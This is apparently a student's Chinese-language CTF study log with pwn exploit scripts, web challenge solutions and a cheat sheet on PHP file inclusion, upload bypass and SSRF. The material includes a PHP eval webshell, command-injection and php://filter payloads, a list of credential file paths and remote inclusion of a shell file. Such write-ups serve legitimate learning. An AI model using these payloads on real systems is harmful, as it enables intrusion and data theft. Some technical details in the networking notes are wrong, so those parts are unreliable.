pop_rdi_ret = 0x0000000000401196

p = b'a' * 0x78 + p64(pop_rdi_ret) + p64(binsh) + p64(shell)
r.sendlineafter(b'her.', p)

r.interactive()

A Dark Room

直接查看源代码,注释里有flag(讲个笑话,还真玩了两分钟的游戏

HTTP是什么呀

谁懂,因为觉得开bp好麻烦,拿hackbar看了半天不会写

bp抓包改http参数

POST /?basectf=we1c%2500me  HTTP/1.1
Host: challenge.basectf.fun:33834
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For:127.0.0.1
Referer:Base
User-Agent:Base
Cookie:c00k13=i can't eat it
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 9

Base=fl@g

会得到以下内容,base64解码即可

HTTP/1.1 302 Found
Server: nginx/1.18.0
Date: Thu, 15 Aug 2024 07:05:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.27
Location: success.php?flag=QmFzZUNURns1N2Y2MGNlYi00Y2UxLTQ5Y2UtYjNhMC0xMTc3NTliODhkNmZ9Cg==
Content-Length: 0

客户端重定向

  • 服务器在响应中返回一个带有302状态码的响应头,指示浏览器进行跳转。
  • 例如,服务器端脚本通过header("Location: success.php?flag=QmFzZUNURns1N2Y2MGNlYi00Y2UxLTQ5Y2UtYjNhMC0xMTc3NTliODhkNmZ9Cg==");指令将HTTP响应状态设置为302,然后浏览器会自动访问success.php?flag=QmFzZUNURns1N2Y2MGNlYi00Y2UxLTQ5Y2UtYjNhMC0xMTc3NTliODhkNmZ9Cg==页面。

http响应状态码

1xx: 信息响应

这些状态码表示请求已被接收,服务器正在处理请求。

  • 100 Continue: 客户端应继续其请求。
  • 101 Switching Protocols: 服务器根据客户端的请求切换协议。

2xx: 成功

这些状态码表示请求已成功接收、理解并处理。

  • 200 OK: 请求成功,服务器返回请求的资源。
  • 201 Created: 请求成功并导致了资源的创建。
  • 204 No Content: 请求成功,但服务器没有返回任何内容。

3xx: 重定向

这些状态码表示需要客户端采取进一步的操作以完成请求,通常是用于重定向。

  • 301 Moved Permanently: 请求的资源已永久移动到新位置,客户端应使用新URL。
  • 302 Found: 请求的资源临时移动到新位置,客户端应继续使用原来的URL。
  • 304 Not Modified: 客户端有缓存资源,且资源未被修改,可以继续使用。

4xx: 客户端错误

这些状态码表示客户端看起来有问题,导致服务器无法处理请求。

  • 400 Bad Request: 请求有错误,服务器无法理解。
  • 401 Unauthorized: 请求需要身份验证,客户端未提供有效凭证。
  • 403 Forbidden: 服务器理解请求,但拒绝执行。
  • 404 Not Found: 服务器无法找到请求的资源。
  • 405 Method Not Allowed: 请求的方法不被允许。

5xx: 服务器错误

这些状态码表示服务器未能完成有效请求,通常是服务器端的问题。

  • 500 Internal Server Error: 服务器遇到错误,无法完成请求。
  • 502 Bad Gateway: 服务器作为网关或代理,从上游服务器收到无效响应。
  • 503 Service Unavailable: 服务器当前无法处理请求,通常是由于过载或维护。
  • 504 Gateway Timeout: 服务器作为网关或代理,未能及时从上游服务器获取响应。

ProveYourLove

要在表白墙提交300次,限制不能重复提交

if (localStorage.getItem('confessionSubmitted')) {
                alert('您已经提交过表白,不能重复提交。');
                return;
            }

在控制台输入localStorage.removeItem('confessionSubmitted');之后即可重复提交,且在控制台就可以通过document.querySelector('input[type="submit"]').click();提交,所以直接写个循环去提交

const intervalId = setInterval(() => {
    localStorage.removeItem('confessionSubmitted');
    document.querySelector('input[type="submit"]').click();
}, 1000);

但有个alert弹窗要点确定的我不知道怎么自动点, 还是手动点的

#8.16

喵喵喵

php系统命令执行

  • eval

    注意分号,执行eval执行系统命令需要用system

    eval('echo "Hello, World!";');
    
    eval(system('cat /flag');)
  • shell_exec

    php$output = shell_exec('ls -l');
  • exec

    phpexec('ls -l', $output);
    foreach ($output as $line) {
        echo $line;
    }
  • passthru

    passthru('ls -l');

题目

<?php
highlight_file(__FILE__);
error_reporting(0);

$a = $_GET['DT'];

eval($a);

?>

get传参给eval执行,直接传system('cat /flag');,即url?DT=system('cat /flag');

MD5绕过

看了篇md5绕过的文章:https://pankas.top/2022/03/11/%E5%85%B3%E4%BA%8Emd5%E7%9A%84%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

弱类型

md5($str1) == md5($str2)

原理:构造MD50e开头,弱类型比较是科学计数法,0的多少次方都是0

单次md50e开头:QNKCDZO、240610708、s878926199a、s155964671a、s214587387a

两次md50e开头:CbDLytmyGm2xQyaLNhWn、770hQgrBOjrcqftrlaZk、7r4lGXCH2Ksu2JNT3BYM

强类型

md5($str1) === md5($str2)

原理:PHP可以提交数组,md5sha1传入数组返回值为NULL

传入方式:$_GET['name']->name[]=1

md5碰撞

使用Fastcollhttp://hduyyds.top/tools/fastcoll.rar

绕过md5()来构造攻击语句

ffifdyop哈希后ascii字符串前几位是 or '6,拼接后变成select * from ‘admin’ where password=’’ or ‘6xxxxx’,永真

本题一次弱类型一次强类型,可以传入get参数:[http://challenge.basectf.fun:39853?name=QNKCDZO&name2[\]=1](http://challenge.basectf.fun:39853/?name=QNKCDZO&name2[]=1),`post`参数`password=s878926199a&password2[]=2`

web七龙珠

访问:/flag1ab.html,查看源码得到flag1:bW9lY3Rm

<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->

访问:/flag2hh.php,提示:本题关键词:http,想想服务器通过网络传输过来的,除了这个页面,还有什么?

抓包得到flag2:e0FmdEV

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 16 Aug 2024 07:52:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.22
flag2: e0FmdEV
nextpage: /flag3cad.php
Content-Length: 361

访问/flag3cad.php,要求使用admin的身份验证,bp接收的响应中有Set-Cookie,改发送的cookieverify=admin即可

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 16 Aug 2024 08:10:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.22
Set-Cookie: verify=user
fxxk: /flag3.php
Content-Length: 801

发送内容如下,最终得到flag3: yX3RoMXN

POST /flag3cad.php?a HTTP/1.1
Host: 127.0.0.1:52741
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Cookie: verify=admin
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

b=a

访问:/flag4bbc.php,提示啊?难道你不是从 http://localhost:8080/flag3cad.php?a=1 点击链接过来的吗? 改Referer为该url进入游戏,js内容如下

var buttons = document.getElementById("scope").getElementsByTagName("button");
for (var i = 0; i < buttons.length; i++) {
  buttons[i].id = i + 1;
}
function start() {
  document.getElementById("num").innerText = "9";
}
function getID(button) {
  if (button.id == 9) {
    alert("你过关!(铜人震声)\n我们使用 console.log 来为你生成 flag");
    fetch('flag4bbc.php', {
      method: 'post',
      body: 'method=get',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
      },
    }).then((data) => {
      return data.json();
    }).then((result) => {
      console.log(result.hint);
      console.log(result.fll);
      console.log(result.goto)
    });
  } else {
    alert("该罚!(头部碰撞声)")
  }
}

直接发送post请求method=get得到flag4: fdFVUMHJ

访问:/flag5sxr.php

提示要求输入I want flag,但是前端js判断

function checkValue() {
        var content = document.forms["form"]["content"].value;
        if (content == "I want flag") {
            alert("你就这么直接?");
            return false;
        } else {
            return true;
        }
    }

可以在控制台直接重写checkValue函数

function checkValue() {
    return true;
}

再提交得到flag5: fSV90aDF

访问flag6diw.php,提示

<?php
  highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
  if (preg_match('/flag/', $_GET['moe'])) {
    die("no");
  } elseif (preg_match('/flag/i', $_GET['moe'])) {
    echo "flag6: xxx";
  }
}

preg_match函数是一个用于执行正则表达式匹配的函数,使用preg_match函数来检查$_GET['moe']参数是否包含字符串flag。正则表达式/flag/指定了一个简单的模式匹配,不区分大小写,可以简单改写大小写绕过

访问url?moe=Flag并且添加一个post参数得到flag6: rZV9VX2t

访问flag7fxxkfinal.php,提示eval($_POAT['what']);,直接post参数what=system('cat /flag7');得到rbm93X1dlQn0=

连起来就是bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=,再base64解码即可

php

  • preg_match用于执行正则表达式匹配的函数,在给定的字符串中搜索与正则表达式相匹配的内容,不区分大小写,可以改大小写绕过例如以下代码可以传入?moe=/Flag/i绕过

  • scandir(".")/glob 列出当前目录中的所有文件和目录。

  • array_reverse() 反转这个数组,使得最后添加的文件或目录变成数组的第一个元素。

  • next() 移动数组的内部指针,因为 array_reverse() 后的第一个元素实际上是原数组的最后一个元素,next() 会返回原数组的倒数第二个文件或目录。

  • highlight_file() 将对这个文件执行语法高亮并输出其源码。

  • include / require / include_once / require_once

    这些函数用来包含并执行指定文件的PHP代码,如果文件路径是由用户输入控制的,攻击者可以包含一个远程文件(Remote File Inclusion - RFI),或者利用本地文件包含漏洞(Local File Inclusion - LFI

  • unserialize

    unserialize($_GET['data']);
    $array = unserialize($serializedStr);

    可以将一个序列化的数组字符串转换为数组

    反序列化一个字符串到PHP的值,不正确地处理用户提供的序列化数据可能导致对象注入攻击

  • preg_replace

    preg_replace('/.*/e', $_GET['code'], '');

    执行一个正则表达式的搜索和替换,在/e修饰符存在的情况下,可以执行与eval函数类似的代码执行。

  • extract / parse_str

    extract($_GET);

    这些函数将数组或字符串中的变量导入到当前符号表,可能被用来覆盖重要的变量值,改变程序流程

  • assert

    assert('strpos($_GET['var'], "something") !== false');

    检查一个断言是否为真,如果不为真则执行一个指定的代码,在某些配置下,assert可以被用来执行PHP代码

  • file_get_contents / fopen / readfile / file

    echo file_get_contents($_GET['filename']);

    读取文件内容或者从文件中读取数据,如果没有适当的限制,攻击者可以利用这些函数读取服务器上的敏感文件

  • file_get_contents(): 读取文件的全部内容到一个字符串

    $content = file_get_contents("test.txt");
  • file_put_contents(): 将一个字符串写入文件

    file_put_contents("test.txt", "Hello World!");
  • base64_encode() / base64_decode() :对数据进行Base64编码和解码,常用于编码攻击载荷。

  • json_encode() / json_decode()JSON数据编码和解码,处理AJAXAPI响应时常见

  • gzdeflate() / gzinflate():压缩和解压缩数据,有时用于绕过长度限制。

套接字

救命两个月前才考的计网,放个假全忘了…还好我不考研(bushi

计网前置知识

IP地址
  • 前缀:计算机所属物理网络,每个物理网络都有唯一网络号,根据网络号划分五类地址
    • A类:0.0.0.0~127.255.255.255
    • B类:128.0.0.0~191.255.255.255
    • C类:192.0.0.0~223.255.255.255
    • D类:224.0.0.0~239.255.255.255
    • E类:240.0.0.0~247.255.255.255
    • 其中网络地址主机地址为0,广播地址网络号后所有位为1,回送地址(本地主机地址)127.0.0.1用于测试,0.0.0.0表示不特定的源地址,可以接受来自任何网络接口的连接请求
  • 后缀:确定该网络中的唯一一台计算机
OSI七层模型和TCP/IP协议结构层次
OSI七层网络模型 TCP/IP四层概念模型 对应网络协议
应用层(Application) 应用层 HTTP、TFTP, FTP, NFS, WAIS、SMTP
表示层(Presentation) 应用层 Telnet, Rlogin, SNMP, Gopher
会话层(Session) 应用层 SMTP, DNS
传输层(Transport) 传输层 TCP, UDP
网络层(Network) 网络层 IP, ICMP, ARP, RARP, AKP, UUCP
数据链路层(Data Link) 数据链路层 FDDI, Ethernet, Arpanet, PDN, SLIP, PPP
物理层(Physical) 数据链路层 IEEE 802.1A, IEEE 802.2到IEEE 802.11
端口

用于标识通信的应用程序,将进程与端口绑定,范围在0~655350~256是系统保留端口,其余为自由端口

套接字编程

套接字是一个指向传输提供者的句柄,分为三类

  • 原始套接字:让程序开发人员能够控制底层网络传输机制,接收的数据包含IP
  • 流式套接字:提供双向、有序、可靠的数据传输服务,通信前需要双方建立连接,例如TCP协议
  • 数据包套接字:提供双向的数据流,不保证可靠、有序、无重复,例如UDP协议

服务器端:

  • 创建套接字socket

    socket(int af, int type, int protocol)

    typeSOCK_STREAM流式套接字,SOCK_DGRAM无连接的数据报套接字,SOCK_RAW原始套接字

  • 绑定bind到本地的地址和端口

  • 设置套接字为监听状态listen

  • 接收请求accept,返回得到一个用于请求的新套接字

  • 使用新套接字进行通信send/recv

  • 释放套接字资源closesocket

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h> 
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8080
#define MAXBUFLEN 100

int main() {
    int server_fd, new_socket, valread;
    struct sockaddr_in address;
    int opt = 1;
    int addrlen = sizeof(address);
    char buffer[MAXBUFLEN] = {0};
    char *message = "Echo: ";

    // 创建套接字文件描述符
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    // 绑定套接字到端口
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(PORT);

    if (bind(server_fd, (struct sockaddr *)&address, sizeof(address))<0) {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }

    // 监听端口
    if (listen(server_fd, 3) < 0) {
        perror("listen");
        exit(EXIT_FAILURE);
    }

    printf("Server listening on port %d...\n", PORT);

    // 接受连接
    if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen))<0) {
        perror("accept");
        exit(EXIT_FAILURE);
    }

    // 读取数据
    valread = read(new_socket, buffer, MAXBUFLEN);
    buffer[valread] = '\0';

    // 发送数据
    send(new_socket, message, strlen(message), 0);
    send(new_socket, buffer, strlen(buffer), 0);

    // 关闭套接字
    close(new_socket);
    close(server_fd);

    return 0;
}

python版:

import socket

host = '127.0.0.1'
port = 8080

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 设置选项,允许重新使用地址,这在重启服务器时可以避免等待
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

server_socket.bind((host, port))

server_socket.listen()

print(f"Server is listening on {host}:{port}")

while True:
    # 接受客户端的连接
    client_socket, addr = server_socket.accept()
    print(f"Connected by {addr}")

    # 接收客户端发送的数据
    message = client_socket.recv(1024).decode('utf-8')
    print(f"Received from client: {message}")

    # 发送数据给客户端
    client_socket.sendall(f"Echo: {message}".encode('utf-8'))

    # 关闭与客户端的连接
    client_socket.close()

客户端:

  • 创建套接字socket
  • 向服务器发送连接请求connect
  • 与服务器进行通信send/recv
  • 释放套接字资源closesocket
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 8080

int main() {
    int sock = 0, valread;
    struct sockaddr_in serv_addr;
    char buffer[MAXBUFLEN] = {0};
    const char *message = "Hello from client";

    // 创建套接字文件描述符
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        printf("socket creation failed...\n");
        return -1;
    }

    // 设置服务器地址参数
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(PORT);

    // 将点分十进制IP地址转换为二进制形式
    if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr)<=0) {
        printf("Invalid address/ Address not supported \n");
        return -1;
    }

    // 连接到服务器
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        printf("connection with the server failed...\n");
        return -1;
    }

    // 发送数据
    if (send(sock, message, strlen(message), 0) != strlen(message)) {
        printf("Send failed\n");
    }

    // 接收数据
    valread = read(sock, buffer, MAXBUFLEN);
    buffer[valread] = '\0';
    printf("Server: %s\n", buffer);

    // 关闭套接字
    close(sock);

    return 0;
}

python版

import socket

host = '127.0.0.1'
port = 8080

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect((host, port))

# 发送数据到服务器
client_socket.sendall("Hello from client".encode('utf-8'))

# 接收服务器返回的数据
response = client_socket.recv(1024).decode('utf-8')
print(f"Received from server: {response}")

client_socket.close()

#8.17

极客巅峰一题不会唉,写了点新生赛的webpwn

EncirclingGame

A simple game, enjoy it and get the flag when you complete it.

纯游戏题,通关得到flag

upload

文件上传漏洞,没有检测文件类型,直接传个木马,然后蚁剑连接

test.php

<?php @eval($_POST['pass']);?>

Aura酱的礼物

data伪协议 ssrf 文件包含

<?php
  highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
  die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
  die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
  die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); 

post参数:pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:21758/&gift=php://filter/convert.base64-encode/resource=flag.php

leak_sth

格式化字符串泄露canary,伪随机数绕过,触发后门

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

libc = cdll.LoadLibrary('libc.so.6')

seed = libc.time(0)
libc.srand(seed)
v3 = libc.rand()

p = b'%13$p'
r.sendlineafter(b'name', p)

r.recvuntil(b'0x')
canary = int(r.recv(16), 16)

r.sendlineafter(b'number', str(v3))

r.interactive()

LoginSystem

格式化字符串任意地址写

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('192.168.56.1', 55028)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

pass_address = 0x404050
p = fmtstr_payload(8, {pass_address:0x12345678}, write_size='short')
r.sendlineafter(b'username', p)

r.sendlineafter(b'password', p64(0x12345678))

r.interactive()

easy_shellcode

shellcode然后跳转过去

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('192.168.56.1', 63787)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = b'99999'
r.sendlineafter(b'age', p)

r.recvuntil(b'0x')
address = int(r.recv(12), 16)

p = asm(shellcraft.sh()).ljust(0x68, b'a') + p64(address)
r.sendlineafter(b'say', p)

r.interactive()

#8.18

搞招新的文案什么的

#8.19

学了点web写了点题,继续逆向看了几个小时还是没有一点头绪

ImageCloud前置

给了源码

<?php
$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$res = curl_exec($ch);

$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];

header('Content-Type: ' . $mime_type);

curl_close($ch);

echo $res;
?>

file伪协议:http://127.0.0.1:64686/index.php?url=file:///etc/passwd得到

Warning: Trying to access array offset on false in /var/www/html/index.php on line 13

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:13) in /var/www/html/index.php on line 15
root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:1000:1000:Linux User,,,:/home/www-data:/sbin/nologin nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin moectf{I_aM_v3Ry_sOrry-4BouT-tHisa0c9f6f}

垫刀之路01: MoeCTF?启动!

可以执行系统命令,提示查看环境变量,输入env得到环境变量里的flag

FLAG=moectf{wElcoME_t0_MOeCtf-AND-Ro4DI-5TArTup-BY-sxRhhh134}

垫刀之路02: 普通的文件上传

文件上传一个木马,然后执行env,环境变量里有flag

FLAG=moectf{uPloAd-your_P4yI0Ad_And_D0-Wh@t_yoUr_w@ntdb5}

垫刀之路03: 这是一个图床

前端判断后缀是图片,木马改后缀为jpg选择文件,再抓包改php上传文件

POST /upload.php HTTP/1.1
Host: 127.0.0.1:64517
Content-Length: 213
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylCRALsDMbQvs1tSq
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:64517
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:64517/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarylCRALsDMbQvs1tSq
Content-Disposition: form-data; name="image"; filename="test.php"
Content-Type: image/jpeg

<?php @eval($_POST['pass']);?>
------WebKitFormBoundarylCRALsDMbQvs1tSq--

文件包含

PHPinclude / require / include_once / require_once

JSP Servletava.io.File() / java.io.FileReader()

ASPincludefile / includevirtual

PHP包含一个文件时,会将该文件当做PHP代码执行,而不会在意文件什么类型

本地文件包含

Local File Inclusion,LFI

include '/home/wwwrun/'.$file.'.php';

%00截断(PHP<5.3.4 & magic_quotes_gpc=off):?file=../../../../../../../../../etc/passwd%00

路径长度截断:?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.Linux中文件名长度>4096Windows中文件名长度>256

点号截断:?file=../../../../../../../../../boot.ini/………[…]…………,仅适用于Windows,点号长度>256

常见读取路径

/etc/apache2/*	#Apache配置文件,可以获知Web目录、服务端口等信息
/etc/nginx/*	#Nginx配置文件,可以获知Web目录、服务端口等信息
/etc/crontab	#定时任务文件
/etc/environment	#环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况
/etc/hostname	#主机名
/etc/hosts	#主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,可以探测网卡信息和内网IP/域名
/etc/issue	#系统版本信息
/etc/mysql/*	#MYSQL配置文件
/etc/php/*	#PHP配置文件
/proc 目录	#/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录,如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self代替/proc/[pid]即可
/proc/[pid]/cmdline	#cmdline可读出比较敏感的信息
ssh `<?php phpinfo(); ?>`@192.168.1.1
/var/log/auth.log# apache日志
# ssh日志,攻击方法
/var/log/apache2/[access.log|error.log]	# apache日志

Sessionhttps://www.anquanke.com/post/id/231407

远程文件包含

Remote File Inclusion, RFI,前提allow_url_fopen = On 是否允许打开远程文件allow_url_include = On 是否允许include/require远程文件

  • 普通远程文件包含:?file=[http|https|ftp]://example.com/shell.txt需要allow_url_fopen=On & allow_url_include=On

  • php / data协议

  • 限制包含文件的后缀名(<?php **include**($_GET['filename'] . ".no"); ?>),用?#绕过(?filename=http://xxxx/php.txt? / ?filename=http://xxxx/php.txt%23)

  • 利用XSS执行:?file=http://127.0.0.1/path/xss.php?xss=phpcode,需要 allow_url_fopen=Onallow_url_include=On 并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了

php://

访问各个输入/输出流,常见函数file_get_contents / file_put_contents / readfile / fopen / file / show_source / highlight_file

  • php://input

    访问POST data数据中的代码,开启enable_post_data_reading时不可用,必须开启allow_url_include

    有**file_put_contents**时可以直接写入一句话木马<?php @eval($_POST[cmd]);

  • php://filter

    PHP>=5.0.0,用于数据流打开时筛选过滤,题目中出现函数readfile、file、file_get_contents可用,需要allow_url_include=On

    • 参数

      resource=要过滤的数据流

      read=读链的筛选列表 、write=写链的筛选列表:可以设定多个|分隔,有file_put_contents时可以用write

      ;两个链的筛选列表:没有readwrite时视情况用于读/写

    • 过滤器:filter不指定过滤器会默认解析PHP代码,非代码需要进行编码

      string.rot13:等同于str_rot13()rot13变换

      convert.base64-encode

      convert.base64-decode:解码按照4位一组,不是4的倍数需要在字符串前补上字母

      convert.quoted-printable-encodequoted-printable字符串与8-bit字符串编码

      convert.quoted-printable-decode:quoted-printable字符串与8-bit字符串解码

    • 用法

      php://filter/resource=flag.php	#直接读,PHP代码会被解析
      php://filter/read=convert.base64-encode/resource=flag.php
      
      php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php		#base64和rot13被过滤,使用其他编码,ucs-2编码的字符串位数一定要是偶数,ucs-4编码的字符串位数一定要是 4 的倍数,输入的内容也要先进行编码,例如:
      file_put_contents($file, "<?php die();?>".$contents);
      GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
      POST: contents=?<hp pystsme"(ac tlf"*;)
      #获取编码后的内容
      <?php 
      echo iconv("UCS-2LE","UCS-2BE",'<?php system("cat fl*");');
      
      php://filter/string.rot13/resource=1.php	#rot13
      #编码可以用于绕过执行代码中多余的die部分,例如file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
      php://input		#data部分:<?php phpinfo(); ?>
  • **php://output**:只写的数据流,允许以echo一样的方式写入到输出缓冲区

  • **php://fd**:PHP>=5.3.6允许直接访问指定的文件描述符,如php://fd/3

  • **php://memory / php://temp**:PHP>=5.1.0 memory将数据存储在内存,temp在内存量达到预定义限制后存入临时文件,可通过/mmaxmemory:xx限制最大数据量

data://

条件:PHP>=5.2.0,用于传递相应格式的数据,通常可以用来执行PHP代码,推荐使用base64编码传参,需要allow_url_include=On

绕过file_get_contentsfn=data://text/plain,bugku

base64过简单过滤:fn=data://text/plain;base64,YnVna3U=

执行代码:data://text/plain,<?php phpinfo();

file://

用于访问本地文件系统,存在fopenfile_get_contents函数时可用,如,file:///etc/passwd

其他

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

zip://文件路径/压缩包名称/压缩包中文件名称

phar://文件路径/phar文件名称/phar内文件名:也可以访问zip压缩包内容

文件上传

前端检查扩展名:抓包改文件类型为php

Content-Type 检测文件类型:抓包改Content-Type符合白名单

服务器添加后缀:%00截断

服务器检测扩展名:利用解析漏洞

Apache解析:Apache对后缀解析是从右向左的,phpshell.php.rar.rar.rar.rar 因为Apache不认识.rar会一直遍历后缀到 .php

IIS解析:文件名为 abc.asp;xx.jpg 时,会将其解析为 abc.asp

PHP CGI路径解析:访问 http://www.a.com/path/test.jpg/notexist.php 时,会将test.jpg当做PHP解析,notexist.php是不存在的文件

其他方式:后缀大小写、双写(只检测一次php则双写为pphphp,要在php里面双写,不能写连续两个php)、特殊后缀php5,修改包内容大小写过WAF

SSRF

服务端请求伪造,服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制,可以利用dict / gopher / file协议

  • 阻碍利用

    服务器开启OpenSSL无法进行交互利用

    服务端需要鉴权(Cookies & User:Pass)不能完美利用

    限制请求的端口为http常用的端口,比如,80,443,8080,8090

